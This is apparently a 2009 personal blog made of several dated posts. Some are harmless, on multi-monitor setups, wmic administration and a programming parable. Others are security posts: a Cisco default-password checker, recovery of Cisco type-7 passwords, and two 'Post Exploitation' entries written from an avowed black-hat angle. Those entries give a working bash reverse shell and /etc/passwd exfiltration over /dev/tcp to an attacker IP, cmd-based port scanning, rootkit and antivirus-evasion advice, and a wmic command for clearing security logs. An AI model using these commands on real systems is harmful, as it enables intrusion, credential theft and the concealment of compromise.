Monday, December 28, 2009
Using Multiple Monitors - like seen in movies
I had already discussed use of multiple monitors with Microsoft PowerPoint to make your presentations easier. When ever I am in my workplace I use extra monitor with my laptop. I just love using that.
First important thing linux inbuilt support multiple monitor with lots of features so I am not talking about linux os in this section, I am talking aobut Microsoft Windows.
Remember the computer setup in movie Swordfish ?
Dont you like that kinda of setup ??
Well I was also fascinated by that kinda of setup. I will discuss multiple techniques you can use to get that kind of setup. But money does matters so first I will describe about hardware options to get this kinda setup then I will describe software options.
1) If you have lots of money to invest on this setup then you can go for laptop docking station. Something as seen at http://www.digitaltigers.com/sidecar.asp
This kinda of hardware setup can provide you lots of flexibility in terms of how you can use your multiple monitor setup.
2) If you dont have that kinda money (which is always the case with lots of us) then you can go for some other options like using laptops vga out to connect secondary monitor. In this case you can drag drop your applications on the secondary monitor and distribute space taken by your applications.
If you haven't used multiple monitors read the article from Microsoft http://support.microsoft.com/kb/307873
When I started using multiple desktops this way then first thing I noticed was there was no taskbar on the second desktop. After you drag drop applications on second monitor then also the taskbar icons stay on first monitor only. So my taskbar was becoming crowded. So I was looking for a solution which will give me second monitor with taskbar also. I found some solutions like http://www.realtimesoft.com/ultramon/
which give can give multiple desktops with taskbar also. If you dont want to go for paid solution then there is Multimon http://www.mediachance.com/free/multimon.htm which is freeware and only place a taskbar on the second desktop. Which application you drop on second monitor it will take taskbar icon to the its taskbar on second monitor. freemon taskbar dont have lots of fancy options but it does the work.
You can directly download mmtaskbar from this location http://www.mediachance.com/free/mmtaskbar21.exe
3) But you might have noticed that I was only talking about the second monitor and not multiple monitors, but laptops only have one VGA output. So only one monitor can be attached to it. So what about multiple monitor setup ???
Well multiple monitor you will need monitors. Even if you have monitors how will you connect them without hardware. So you cant do anything without getting some costly hardware ??
Well low cost solution is there If you have some spare computer or laptops. There is software solution by using which you can extend your monitor on any machine in the network. Maxivista is the name of one of such products found at http://www.maxivista.com/.
I have tried maxivista with total 4 monitors at a time, and it was working fine. So here you go... Now you can have your own setup like movies.
Friday, June 5, 2009
version 2 of script to check cisco router with Default password
I have created version 2 of the script which can be downloaded from http://neo1981.googlepages.com/ciscoPassChkv2.py
Well Here is some Spoon Feeding and brief documentation as Requested by my fren.
This script is checked on windows xp with python version 2.5. Though it should run with python 2.3 and 2.4 also.
You can download python for windows or linux machine from this page http://python.org/download/
On Linux system you can execute the script by using commnd
# python ciscoPassChkv2.py
On windows you can execute script by using command
C:\>c:\Python25\python.exe ciscoPassChkv2.py
Where C:\Python25\ is the directory where you have installed python 2.5
By default the script will ask you IP address of the router to be checked for default login.
If you want multiple routers checked at one go, put the IP addresses of the routers one IP in single line in a file and save
it as iplist.txt
Keep iplist.txt in the same folder as the python script and run python script. The script will read IP addresses from the file and check
those routers for default passwords.
Friday, May 22, 2009
python script to find cisco routers with default password
I was busy auding lots of cisco routers. As hacker mind I just went ahead hacking my way in to nearly all routers getting full access. But when I had completed my work I suddenly remember that some of the routers used default passwords and others I had extracted password from config of already accessed routers. But I just didnt remember for which routers I found using default password. As usual the programmer in me wake up (My colleague said he would check out manualy in 1 hour) I said I would better use half hour to write a script to find out those. This script will be use full in finding out routers with default password in future also.
So I did write a python script (you must be knowing by now python is my fav language) to check out routers with default passwords.
This script is still in its early stages. So looking forward for some good or bad feedbacks.
You can find script at
http://neo1981.googlepages.com/ciscoPassChk.py
Decrypting...No..Deobfuscating Cisco IOS Passwords
The level 7 password is not actually encrypted . The Vigenere algorithm is used to obfuscate the passwords (there is not key used in this algo)
Cisco IOS uses this level-7 encryption when the "service password-encryption" command is used.
I found some interesting info while I was getting tools to decrypt cisco level 7 password. Yes you might know that there are Lots of softwares available on net whcih decrypt cisco 7 secrete. But this method got my attention since it uses cisco commands to obtain cleartext password from the secret.
Here it goes...
The show key-chain command executed on Cisco IOS displays the password configured in a key chain in cleartext even when the same password is stored as type-7 obfuscated password in the router configuration.
For example, if you want to get the cleartext password corresponding to string 04480E051A33490E, enter the following lines into the router configuration (any routers configuration it can be your router not necessary victims router :D) :-
R1(config)#key chain test
R1(config-keychain)#key 1
R1(config-keychain-key)#key-string 7 04480E051A33490E
When you execute show key chain test command, the cleartext value of the password is displayed:
R1#show key chain test
Key-chain decrypt:
key 1 -- text "secure"
accept lifetime (always valid) - (always valid) [valid now]
send lifetime (always valid) - (always valid) [valid now]
Walla Cleartext without using any tools
I also have found perl code by Bostjan Sustar to do the same task.
The perl code is uploaded at http://neo1981.googlepages.com/decrypt_cisco.pl
Wednesday, March 18, 2009
Story of IT Novice
IT Novice and Master...
One day a Novice came to the Master.
"Master," he said, "How is it that I may become a Writer of Programs?".
The Master looked solemnly at the Novice.
"Have you in your possession a Compiler of Source Code?" the Master asked.
"No," replied the Novice. The Master sent the Novice on a quest to the Store of Software.
Many hours later the Novice returned.
"Master," he said, "How is it that I may become a Writer of Programs?".
The Master looked solemnly at the Novice.
"Have you in your possession a Compiler of Source Code?" the Master asked.
"Yes," replied the Novice.
The Master frowned at the Novice.
"You have a Compiler of Source. What now can prevent you from becoming a Writer of Programs?".
The Novice fidgeted nervously and presented his Compiler of Source to the Master.
"How is this used?" asked the Novice.
"Have you in your possession a Manual of Operation?" the Master asked.
"No," replied the Novice.
The Master instructed the Novice as to where he could find the Manual of Operation.
Many days later the Novice returned.
"Master," he said, "How is it that I may become a Writer of Programs?".
The Master looked solemnly at the Novice.
"Have you in your possession a Compiler of Source Code?" the Master asked.
"Yes," replied the Novice.
"Have you in your possession a Manual of Operation?" the Master asked.
"Yes," replied the Novice.
The Master frowned at the Novice.
"You have a Compiler of Source, and a Manual of Operation. What now can prevent you from becoming a Writer of Programs?".
At this the Novice fidgeted nervously and presented his Manual of Operations to the Master.
"How is this used?" asked the Novice.
The Master closed his eyes, and heaved a great sigh.
The Master sent the Novice on a quest to the School of Elementary.
Many years later the Novice returned.
"Master," he said, "How is it that I may become a Writer of Programs?".
The Master looked solemnly at the Novice.
"Have you in your possession a Compiler of Source Code, a Manual of Operation and an Education of Elementary?" the Master asked.
"Yes," replied the Novice.
The Master frowned at the Novice.
"What then can prevent you from becoming a Writer of Programs?".
The Novice fidgeted nervously. He looked around but could find nothing to present to the Master.
The Master smiled at the Novice.
"I see what problem plagues you." said the Master.
"Oh great master, please tell me." asked the Novice.
The Master turned the Novice toward the door, and with a supportive hand on his shoulder said, "Go young Novice, and Read The Fucking Manual." And so the Novice became enlightened.
Tuesday, March 17, 2009
Windows Commandline KungFu Part 2
Now some more info about wmic...
If you use command
C:\> wmic /?
Then you would get a list of attributes and all the settings for given alias.
For example type
C:\>wmic share list full
AccessMask=
AllowMaximum=TRUE
Description=Remote IPC
InstallDate=
MaximumAllowed=
Name=IPC$
Path=
Status=OK
Type=-2147483645
...
...
Good ? not enough but there is more wmic is object oriented , so you've got attributes and methods. Attributes are cool, letting you get info about your box and tweak it a bit, but methods let you take action on a box, giving you real power.
For example
C:\> wmic process where name="cmd.exe" call getowner
Or, even:
C:\> wmic process where name="cmd.exe" call getownersid
Nice ! isnt it ?
Second Example : We want a built in command to reboot or shutdown windows box accross the network. Try this
C:\> wmic os where buildnumber="2600" call reboot
Third example get parameter (Atrribute of object)
C:\>wmic nic get macaddress,name
You want interface-related methods? Check these out:
C:\> wmic nicconfig call setdefaultttl 200
C:\> wmic nicconfig call settcpwindowsize 3212
Those change the IP TTL and TCP Window size from default settings to something else, possibly fooling some forms of passive OS fingerprinting. Be careful with them, though... changing those settings could hose your network performance, make your system ugly, and make your hair fall out. You have been warned!
Now how about some nasty example :D
Like from POST Exploitation ;)
you could:
C:\> wmic nteventlog where (description like "%secevent%") call cleareventlog
Guess what it would do ????
or events like those associated with logging onto the box:
C:\> wmic ntevent where (message like "%logon%") list brief
Fifth, here is one that could be useful for handlers:
C:\>wmic netlogin where (name like "%neo%") get numberoflogons
NumberOfLogons
1760
Where neo is username offcourse.
you can use methods associated with "wmic service" to change the service configuration, as in:
C:\> wmic service where (name like "Fax" OR name like "Alerter") CALL ChangeStartMode Disabled
//Spot odd executables
C:\> wmic PROCESS WHERE "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
//Look at services that are set to start automatically
C:\> wmic SERVICE WHERE StartMode="Auto" GET Name, State
//Find user-created shares (usually not hidden)
C:\> wmic SHARE WHERE "NOT Name LIKE '%$'" GET Name, Path
//Find stuff that starts on boot
C:\> wmic STARTUP GET Caption, Command, User
//Identify any local system accounts that are enabled (guest, etc.)
C:\> wmic USERACCOUNT WHERE "Disabled=0 AND LocalAccount=1" GET Name"
Enjoyyyyy....
Sunday, March 15, 2009
Windows Commandline KungFu Part 1
Well bassically commandline KungFu is more about windows commandline since linux already has extremly powerfull commandline so need to go to that side.
Lots of people dont know or ignore the power of wmic commands, we will start with wmic command which will allow us some stuff that we always do on linux.
C:\> wmic process [pid] delete
That's the rough equivalent (for you UNIX/Linux minded folks) of "kill -9 [pid]".
Or, better yet, try this one on for size:
C:\> wmic process where name='cmd.exe' delete
I love that one! It functions something like "killall -9 cmd.exe" would on a Linux box, where killall lets you kill processes by name.
And, check this out:
C:\> wmic process list brief /every:1
Sort of like (but not exactly) the Linux/UNIX top command.
But, wait! There's more...
C:\> wmic useraccount
This one gives a lot more detail than the old "net user" command. With "wmic useraccount" you get user names, SIDs, and various security settings.
Fun, fun, fun! Here's another:
C:\> wmic qfe
This one shows all hotfixes and service packs. qfe doesn't stand for Quad Fast Ethernet... It stands for Quick Fix Engineering in this context.
C:\> wmic startup list full
It shows a whole bunch of stuff useful in malware analysis, including all files loaded at Startup and the reg keys associated with autostart.
C:\> wmic process list brief | find "cmd.exe"
That works a little like a Linux "ps -aux | grep cmd.exe".
So, I run it as I show above, piping its output through sort, find, findstr, etc.
C:\> wmic /output:[file] [stuff you want it to do] /format:[format]
Numerous formats are supported, including HTML format (hform), CSV, XSL, and so on. So, check this out:
C:\> wmic /output:c:\os.html os get /format:hform
Then, open c:\os.html in a browser, and soak in that beautiful output. Ooooohhhh. Ahhhhhhh.
For a list of format types supported by WMIC, you could type:
C:\> wmic [stuff to do] /format /?
As in:
C:\> wmic process list /format /?
Going further, there is ability to pull lists of attributes and output them nicely, as follows:
C:\> wmic /output:c:\temp.html os get name,version /format:htable.xsl
Thursday, January 29, 2009
Post Exploitation 2
Like lots of people dont know that there are FOR loop on windows command line using which we can have a ping sweep or port scan from cmd without any thirdparty tools.
Ex.
Ping Sweep: Using following command we can run a ping sweep
FOR /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"
This command will run a ping sweep on 10.10.10.0/24
Command line port scanner using ftp client:
The windows ftp client can be used as a port scanner.
But
C:\> ftp [IP_address]
This is not allowing to put port number and defaults to port 21 for connection.
But... we can specify a destination port in a ftp command file
- open [IP_addr] [port]
FTP client then can read this ftp commands file and execute them.
C:\> ftp -s:[filename]
So using this and FOR loop together...
for /L %i in (1,1,1024) do echo open [IPaddr] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt
Now the ports.txt will have output of the port scanner.
One more option in the FOR command let us use file as input
Ex. There is file with name PTips.txt containing one IP address each line
so following command will iterate through the file.
FOR /F "delims=^" %i in (PTips.txt) do ping %i
C:\>ping 222.222.222.222
Pinging 222.222.222.222 with 32 bytes of data:
Reply from 222.222.222.222: Destination net unreachable.
...
...
Having only cmd in windows does put lot of restrictions.
Lots of time I miss the simple commands like in linux to get HTML pages.
Can we download HTML pages on windows without Browser ???
...
...
...
Yes We Can
The problem with telnet is it dont allows us to redirect the output or screen to some file...
So... so we use -f for creating log of the telnet session.
Ex. Windows telnet as simple HTTP GET tool
C:\> telnet -f log.txt
Welcome to Microsoft Telnet Client
Escape Character is 'CTRL+]'
Microsoft Telnet>o in.yahoo.com 80
...
...
Microsoft Telnet>sen GET / HTTP/1.0
...
Html contents will scroll down all of sudden but dont worry,
all that content will be saved to the log file: log.txt
There you go.
Tuesday, January 27, 2009
Post Exploitation...
Now what do you think you would be doing as "POST EXPLOITATION" to have complete control over the server.
As per his request my answer is from black hat perspective...
After getting access to any victim machine most important thing is to maintain access. And a hacker should do all things necessary to maintain access.
I had herd comment from some one that he would install some service like VNC. Ofcourse this is lame answer according to me. But it draws attention to a basic point should we install some different backdoor ? I would rather suggest use of the existing service as backdoor instead of creating a new one. Becuase at this point we have to consider the fact that normally there would be some firewall in between attacker and the victim. So creating a new backdoor might not be usefull if the firewall is not allowing that service to accept connections. Anyways installing new backdoor means more files transfered to the victim, therefore more chances of getting detected.
If one want to use the backdoor then it should be used with addition of root kit ofcourse.
E.g.
Windows Rootkit ex. AFX Windows Rootkit: This rootkit will hide processes, files, folders
registry keys and netstat entries from Windows 95/98/ME/NT/2k/XP/2003
Linux Rootkits: No particular examaple I am giving, there are lots of which hide processes,files etc.
Using Inbuild linux Tools instead of external backdoors
For linux I would rather use the inbuild tools in linux to do things for me.
Most importatnt reason for this is "No external tool mean nothing for detect for antivirus" B-)
On most Linux variants (except Debian-derived systems like Ubuntu), the default built-in bash can redirect to and from /dev/tcp/[IPaddr]/[port]
Ex.
Victim>echo "Hello WOrld" > /dev/tcp/10.10.10.66/2345
Attacker>nc -l -p 2345
Hello WOrld
Not Imressed then look at this
Victim>cat /etc/passwd > /dev/tcp/10.10.10.66/2345
Attacker>nc -l -p 2345
root:x:0:0:root:/root:bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
...
Transfer file without using even nc
Ok file transfer could be done What else do I want to do on my rooted box ?
have Backdoor shell,Scan for other Machines can we do that without external tools ???
...
...
Of course we can
...
How ??
Linux /dev/tcp .... is the key
Victim$>/bin/bash -i > /dev/tcp/10.10.10.66/2345 0<&1 2>&1
Attacker>nc -l -p 2345
victim@linux:~$whoami
user12
Now Port scanning...
you guessed correct /dev/tcp :D
$ echo > /dev/tcp/10.10.10.66/25
bash: connect: Connection Refused
bash: /dev/tcp/10.10.10.66/25: Connection refused
$ echo > /dev/tcp/10.10.10.66/80
$ #Command successful means port 80 is listening
This is just some example you can go ahead with you own tricks... So this concludes some of the things ( only some of things.. ;) ) I would do Post Exploitation
Tuesday, January 13, 2009
Sinowal trojan: Three years old and just plain nasty
“We recently discovered that, dating back as early as February 2006, the Sinowal Trojan has compromised and stolen login credentials from approximately 300,000 online bank accounts as well as a similar number of credit and debit cards. Other information such as email, and FTP accounts from numerous websites, have also been compromised and stolen.”
- RSA FraudAction Research Lab
“How can Mebroot/Sinowal do their dirty work without a malicious component? Well, because Sinowal controls the boot sequence, it can inject the malicious code into legitimate Windows Components. It will hook key functions that the Internet Explorer will use to do its day-to-day job like sending and receiving encrypted data. Yes, you are right. Mebroot/Sinowal does have full control over the encrypted data stream as it has access to it before it will be encrypted and after it has been decrypted.”
- TrustDefender Labs
Read the whole article by Michael Kassner HERE